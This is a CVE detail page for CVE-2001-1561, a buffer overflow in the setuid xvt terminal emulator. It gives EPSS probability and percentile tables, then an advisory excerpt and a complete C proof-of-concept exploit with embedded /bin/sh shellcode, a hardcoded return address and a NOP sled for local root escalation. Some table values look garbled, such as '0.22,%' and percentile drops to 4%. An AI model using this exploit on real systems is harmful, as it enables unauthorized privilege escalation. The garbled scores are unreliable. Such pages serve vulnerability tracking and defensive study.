CVE-2001-1561 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.9%	–	–
2022-04-03	–	–	1.9%	–	–
2022-04-24	–	–	1.9%	–	–
2022-09-11	–	–	1.9%	–	–
2023-03-12	–	–	–	0.04%	–
2024-02-11	–	–	–	0.09%	–
2024-04-14	–	–	–	0.09%	–
2024-06-02	–	–	–	0.09%	–
2024-06-16	–	–	–	0.09%	–
2024-08-04	–	–	–	0.09%	–
2024-08-11	–	–	–	0.09%	–
2024-09-22	–	–	–	0.04%	–
2024-12-22	–	–	–	0.53%	–
2025-01-19	–	–	–	0.53%	–
2025-03-18	–	–	–	–	0.22%
2025-03-30	–	–	–	–	0.22%
2025-04-15	–	–	–	–	0.22%
2025-04-15	–	–	–	–	0.22,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	55%
2022-04-03	75%
2022-04-24	76%
2022-09-11	77%
2023-03-12	–
2024-02-11	38%
2024-04-14	39%
2024-06-02	39%
2024-06-16	4%
2024-08-04	39%
2024-08-11	4%
2024-09-22	–
2024-12-22	77%
2025-01-19	77%
2025-03-18	43%
2025-03-30	42%
2025-04-15	45%
2025-04-15	45%

// source: https://www.securityfocus.com/bid/2955/info Xvt is a terminal emulator for systems using X11R6. It is often installed setuid/setgid so that it runs with the enhanced privileges required to log user sessions. Xvt contains a buffer overflow in it's handling of the '-name' argument. An attacker can exploit this buffer overflow to exploit arbitrary code with the enhanced privileges of Xvt. On some systems Xvt is installed setuid root. This may not be the case for all systems. /* /usr/bin/X11/xvt overflow proof of concept by cb@t-online.fr. tshaw:~$ ./expl bash# */ #include <stdio.h> #include <stdlib.h> int main() { char buf[234]; int i; char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; for(i=0; i<76; i++) buf[i] = 0x41; *(long *)&buf[76]=0xbffffab0; /* ret addr */ memset(buf + 80, 0x90, 234); memcpy(buf + 233 - strlen(code), code, strlen(code)); buf[234] = '\0'; execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0); }